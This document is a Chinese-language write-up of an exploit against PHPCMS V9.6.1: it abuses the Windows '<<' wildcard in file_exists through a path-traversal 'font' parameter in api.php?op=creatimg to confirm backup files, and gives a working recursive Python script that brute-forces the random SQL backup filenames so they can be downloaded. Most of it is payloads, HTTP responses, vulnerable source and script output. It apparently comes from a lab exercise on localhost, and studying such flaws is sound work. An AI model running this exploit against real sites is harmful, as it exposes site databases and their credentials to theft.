# PHPCMS V9.6.1暴力猜解備份數據庫文件
###### tags: `phpcms`
登錄phpcms的管理員後台,在擴展模塊找到數據庫工具,選中數據庫文件可以備份數據庫
我這邊backup三個
```
phpcms\caches\bakup\default\0gxzgvxskyfaz86zy5cu_db_20230301_1.sql
phpcms\caches\bakup\default\grtg4v4ft42sw48ak05g_db_20230301_1.sql
phpcms\caches\bakup\default\ve6igdedpgr85gxckrz8_db_20230301_1.sql
```
直接訪問.sql 可以直接下載檔案:
http://localhost/caches/bakup/default/0gxzgvxskyfaz86zy5cu_db_20230301_1.sql
現在我們只知道數據庫備份文件的路徑,但sql文件的名字我們要如何獲取?並且sql文件名是一串30多位隨機數,很難直接通過暴力破解獲取到文件名。
windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用,php中的文件操作函數都調用了FindFirstFile函數,包括opendir函數,因此file_exists函數也可以使用<<通配符。
payload:
```
http://localhost/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/<<.sql
```
response:
```
HTTP/1.1 200 OK
Date: Wed, 01 Mar 2023 08:08:40 GMT
Server: Apache/2.2.31 (Win32) DAV/2 mod_ssl/2.2.31 OpenSSL/1.0.2h mod_fcgid/2.3.9 mod_wsgi/3.4 Python/2.7.6 PHP/7.4.1 mod_perl/2.0.8 Perl/v5.16.3
X-Powered-By: PHP/7.4.1
Content-Length: 98
Connection: close
Content-Type: image/png
出現一些錯誤的圖片無法解析....
```
出現這個代表有獨取到檔案
payload:
```
http://localhost/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/11111<<.sql
Cannot Initialize new GD image stream
```
response:
```
HTTP/1.1 200 OK
Date: Wed, 01 Mar 2023 08:09:59 GMT
Server: Apache/2.2.31 (Win32) DAV/2 mod_ssl/2.2.31 OpenSSL/1.0.2h mod_fcgid/2.3.9 mod_wsgi/3.4 Python/2.7.6 PHP/7.4.1 mod_perl/2.0.8 Perl/v5.16.3
X-Powered-By: PHP/7.4.1
Content-Length: 37
Connection: close
Content-Type: image/png
Cannot Initialize new GD image stream
```
出現這個代表沒有獨取到檔案
解析一下payload:
```
http://localhost/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/<<.sql
```
api.php
有get['op'] =creatimg
```php=
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
$param = pc_base::load_sys_class('param');
$_userid = param::get_cookie('_userid');
if($_userid) {
$member_db = pc_base::load_model('member_model');
$_userid = intval($_userid);
$memberinfo = $member_db->get_one(array('userid'=>$_userid),'islock');
if($memberinfo['islock']) exit('<h1>Bad Request!</h1>');
}
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
if (isset($_GET['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]+$/', $_GET['callback'])) unset($_GET['callback']);
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
include PHPCMS_PATH.'api/'.$op.'.php';
} else {
exit('API handler does not exist');
}
?>
```
所以進到 api/creatimg.php
```
txt=1
font=/../../../../caches/bakup/default/<<.sql
```
以上的參數配置可以走到
```php=
if(file_exists($fontfile)){
//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
$imageX = $image_info[2]-$image_info[0]+10;
$imageY = $image_info[1]-$image_info[7]+5;
//print_r($image_info);
$im = @imagecreatetruecolor ($imageX, $imageY) or die ("Cannot Initialize new GD image stream");
$white= imagecolorallocate($im, 255, 255, 255);
$font_color= imagecolorallocate($im,$fontcolor_r,$fontcolor_g,$fontcolor_b);
if(intval($_GET['transparent']) == 1) imagecolortransparent($im,$white); //背景透明
imagefilledrectangle($im, 0, 0, $imageX, $imageY, $white);
$txt = iconv(CHARSET,"UTF-8",$txt);
imagettftext($im, $fontsize, 0, 5, $imageY-5, $font_color, $fontfile, $txt);
} else {
}
```
就是利用 file_exists 可以 << 通配符的特性,找到檔案。
但我們只能知道有檔案,不能知道完整檔名,這就需要暴力破解了。
我找不到別人寫的腳本,所以我自己寫了一個,發現哇靠,我好屌.....我好短
```
import urllib.request
import re
def scan(name=''):
chars=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','_']
for char in chars:
full_url = 'http://' + 'localhost' + '/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/' + name + char + '<<.sql'
try:
#可以utf-8解析代表出現 Cannot Initialize new GD image stream
data =urllib.request.urlopen(full_url).read().decode('utf-8')
except:
#不能解析出錯才是我們要的
match = name +char
print(match)
scan(match)
scan()
```
輸出效果:
```
0
0g
0gx
0gxz
0gxzg
0gxzgv
0gxzgvx
0gxzgvxs
0gxzgvxsk
0gxzgvxsky
0gxzgvxskyf
0gxzgvxskyfa
0gxzgvxskyfaz
0gxzgvxskyfaz8
0gxzgvxskyfaz86
0gxzgvxskyfaz86z
0gxzgvxskyfaz86zy
0gxzgvxskyfaz86zy5
0gxzgvxskyfaz86zy5c
0gxzgvxskyfaz86zy5cu
0gxzgvxskyfaz86zy5cu_
0gxzgvxskyfaz86zy5cu_d
0gxzgvxskyfaz86zy5cu_db
0gxzgvxskyfaz86zy5cu_db_
0gxzgvxskyfaz86zy5cu_db_2
0gxzgvxskyfaz86zy5cu_db_20
0gxzgvxskyfaz86zy5cu_db_202
0gxzgvxskyfaz86zy5cu_db_2023
0gxzgvxskyfaz86zy5cu_db_20230
0gxzgvxskyfaz86zy5cu_db_202303
0gxzgvxskyfaz86zy5cu_db_2023030
0gxzgvxskyfaz86zy5cu_db_20230301
0gxzgvxskyfaz86zy5cu_db_20230301_
0gxzgvxskyfaz86zy5cu_db_20230301_1
g
gr
grt
grtg
grtg4
grtg4v
grtg4v4
grtg4v4f
grtg4v4ft
grtg4v4ft4
grtg4v4ft42
grtg4v4ft42s
grtg4v4ft42sw
grtg4v4ft42sw4
grtg4v4ft42sw48
grtg4v4ft42sw48a
grtg4v4ft42sw48ak
grtg4v4ft42sw48ak0
grtg4v4ft42sw48ak05
grtg4v4ft42sw48ak05g
grtg4v4ft42sw48ak05g_
grtg4v4ft42sw48ak05g_d
grtg4v4ft42sw48ak05g_db
grtg4v4ft42sw48ak05g_db_
grtg4v4ft42sw48ak05g_db_2
grtg4v4ft42sw48ak05g_db_20
grtg4v4ft42sw48ak05g_db_202
grtg4v4ft42sw48ak05g_db_2023
grtg4v4ft42sw48ak05g_db_20230
grtg4v4ft42sw48ak05g_db_202303
grtg4v4ft42sw48ak05g_db_2023030
grtg4v4ft42sw48ak05g_db_20230301
grtg4v4ft42sw48ak05g_db_20230301_
grtg4v4ft42sw48ak05g_db_20230301_1
v
ve
ve6
ve6i
ve6ig
ve6igd
ve6igde
ve6igded
ve6igdedp
ve6igdedpg
ve6igdedpgr
ve6igdedpgr8
ve6igdedpgr85
ve6igdedpgr85g
ve6igdedpgr85gx
ve6igdedpgr85gxc
ve6igdedpgr85gxck
ve6igdedpgr85gxckr
ve6igdedpgr85gxckrz
ve6igdedpgr85gxckrz8
ve6igdedpgr85gxckrz8_
ve6igdedpgr85gxckrz8_d
ve6igdedpgr85gxckrz8_db
ve6igdedpgr85gxckrz8_db_
ve6igdedpgr85gxckrz8_db_2
ve6igdedpgr85gxckrz8_db_20
ve6igdedpgr85gxckrz8_db_202
ve6igdedpgr85gxckrz8_db_2023
ve6igdedpgr85gxckrz8_db_20230
ve6igdedpgr85gxckrz8_db_202303
ve6igdedpgr85gxckrz8_db_2023030
ve6igdedpgr85gxckrz8_db_20230301
ve6igdedpgr85gxckrz8_db_20230301_
ve6igdedpgr85gxckrz8_db_20230301_1
```
如此一來就爆破成功了。
心得:寫腳本的時候,debug突然想到用遞回好像是最好的辦法。
這題沒啥難度,就是get參數,改一改,但沒想到 file_exists 居然還有如此妙用